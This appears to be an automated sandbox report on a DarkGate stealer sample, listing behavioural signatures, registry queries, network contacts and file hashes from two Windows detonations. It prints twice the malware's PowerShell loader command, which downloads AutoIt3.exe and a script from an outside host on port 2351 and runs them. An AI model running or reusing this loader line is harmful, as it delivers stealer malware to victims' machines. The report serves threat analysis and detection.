Malware Analysis Report

2024-11-30 11:22

Sample ID 231105-dghrsaaa4x
Target bb897b6af926de14bba7e9752318061a.bin
SHA256 5b5f06c9969bf17491cbe0adf51fff0c279f1a5906d91d4e2ad449af78cdc3d1
Tags
darkgate user_871236672 stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

5b5f06c9969bf17491cbe0adf51fff0c279f1a5906d91d4e2ad449af78cdc3d1

Threat Level: Known bad

The file bb897b6af926de14bba7e9752318061a.bin was found to be: Known bad.

Malicious Activity Summary

darkgate user_871236672 stealer

DarkGate

Blocklisted process makes network request

Downloads MZ/PE file

Executes dropped EXE

Checks computer location settings

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Checks processor information in registry

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-11-05 02:58

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-11-05 02:58

Reported

2023-11-05 03:01

Platform

win7-20231020-en

Max time kernel

121s

Max time network

125s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\ae0f7106f8b0e11c5526a8f1326c4705266a24cc933b5caa4dca735692cd959f.js

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\ae0f7106f8b0e11c5526a8f1326c4705266a24cc933b5caa4dca735692cd959f.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://showmoreresultonliner.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://showmoreresultonliner.com:2351/msiyfjjdsnw' -OutFile 'yfjjdsnw.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'yfjjdsnw.au3'"; Stop-Process -Name "WScript"

Network

N/A

Files

memory/2268-4-0x000000001B1C0000-0x000000001B4A2000-memory.dmp

memory/2268-5-0x00000000023A0000-0x00000000023A8000-memory.dmp

memory/2268-6-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

memory/2268-7-0x00000000028B0000-0x0000000002930000-memory.dmp

memory/2268-8-0x00000000028B0000-0x0000000002930000-memory.dmp

memory/2268-9-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

memory/2268-10-0x00000000028B0000-0x0000000002930000-memory.dmp

memory/2268-11-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-11-05 02:58

Reported

2023-11-05 03:01

Platform

win10v2004-20231023-en

Max time kernel

146s

Max time network

150s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\ae0f7106f8b0e11c5526a8f1326c4705266a24cc933b5caa4dca735692cd959f.js

Signatures

DarkGate

stealer darkgate

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\tepp\AutoIt3.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\tepp\AutoIt3.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\tepp\AutoIt3.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\ae0f7106f8b0e11c5526a8f1326c4705266a24cc933b5caa4dca735692cd959f.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://showmoreresultonliner.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://showmoreresultonliner.com:2351/msiyfjjdsnw' -OutFile 'yfjjdsnw.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'yfjjdsnw.au3'"; Stop-Process -Name "WScript"

C:\tepp\AutoIt3.exe

"C:\tepp\AutoIt3.exe" yfjjdsnw.au3

Network

Country Destination Domain Proto
US 8.8.8.8:53 72.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 208.194.73.20.in-addr.arpa udp
US 8.8.8.8:53 showmoreresultonliner.com udp
US 195.123.233.152:2351 showmoreresultonliner.com tcp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 152.233.123.195.in-addr.arpa udp
US 8.8.8.8:53 39.142.81.104.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 121.175.53.84.in-addr.arpa udp
US 195.123.233.152:2351 showmoreresultonliner.com tcp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 89.65.42.20.in-addr.arpa udp

Files

memory/376-0-0x000001D95F430000-0x000001D95F452000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wmqt1i40.sig.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/376-10-0x00007FFFABA90000-0x00007FFFAC551000-memory.dmp

memory/376-11-0x000001D95F460000-0x000001D95F470000-memory.dmp

memory/376-12-0x000001D95F460000-0x000001D95F470000-memory.dmp

memory/376-13-0x00007FFFABA90000-0x00007FFFAC551000-memory.dmp

memory/376-14-0x000001D95F460000-0x000001D95F470000-memory.dmp

memory/376-15-0x000001D95F460000-0x000001D95F470000-memory.dmp

memory/376-16-0x000001D95F460000-0x000001D95F470000-memory.dmp

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

memory/376-30-0x00007FFFABA90000-0x00007FFFAC551000-memory.dmp

C:\tepp\yfjjdsnw.au3

MD5 fe9e5fe5f346caa35bed17f44ae01aae
SHA1 aa5229f252f7a27ab39838dcea732c5a622ccfe7
SHA256 dff942a5e4e09480637208b09ee7ff4c6c4531981dc4f122baa29a63dd6fba66
SHA512 d52721bdf642ac9c26408102a19e22b7e9bc7efcdb15b9b66df646bacdb59001a0a5cc37ff5d8137e933a5c32367f4bcc8c2817c333ef19f5734711b683c8523

memory/4744-33-0x0000000001530000-0x0000000001930000-memory.dmp

memory/4744-34-0x0000000004610000-0x000000000493A000-memory.dmp

memory/4744-35-0x0000000004610000-0x000000000493A000-memory.dmp